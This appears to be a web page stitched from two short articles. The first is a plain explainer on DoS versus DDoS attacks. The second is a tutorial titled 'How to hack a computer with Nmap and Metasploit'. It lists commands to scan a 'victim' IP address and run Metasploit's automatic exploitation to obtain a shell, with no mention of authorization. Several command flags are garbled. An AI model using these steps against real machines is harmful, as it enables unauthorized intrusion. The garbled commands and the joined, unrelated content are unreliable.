The Difference Between a DoS and a DDoS Attack

DoS = Denial Of Service

DDoS = Distributed Denial Of Service

What is the difference between the two?

Whilst DoS and DDoS sound remarkably similar there are in fact differences between the two -

DoS

A DoS Attack is a Denial of Service attack.

This means that one computer and one internet connection is used to flood a server with packets (TCP / UDP).

The point of such a denial of service attack is to overload the targeted server’s bandwidth and other resources.

This will make the server inaccessible to others, thereby blocking the website or whatever else is hosted there.

DDoS

A DDoS Attack is a Distributed Denial of Service Attack.

In most respects it is similar to a DoS attack but the results are much, much different.

Instead of one computer and one internet connection the DDoS attack utilises many computers and many connections.

The computers behind such an attack are often distributed around the whole world and will be part of what is known as a botnet.

The main difference between a DDoS attack vs a DoS attack, therefore, is that the target server will be overload by hundreds or even thousands of requests in the case of the former as opposed to just one attacker in the case of the latter.

Therefore it is much, much harder for a server to withstand a DDoS attack as opposed to the simpler DoS incursion.

How to hack a computer with Nmap and Metasploit

have written different hacking articles about Nmap and Metasploit. Now I am writing this article to teach how to hack a computer using these two great tools.

Just got to http://www.metasploit.com/ and download the Latest Framework (not the mini version).

Now open the metasploit console. And type the following commands:

1: db_create (this will create database needed for this attack)

2: TYPE nmap -sT –sV XXX.XXX.XXX.XXX( X be the IP address of victim)

Now give it time to scan and when it is complete type following command.

3: db_autopwn -p -t –e

This would start the penetration test and great thing about this is that it does not need any manual configuration. Every thing will be done automatically and if the test is successful a shell will be created.
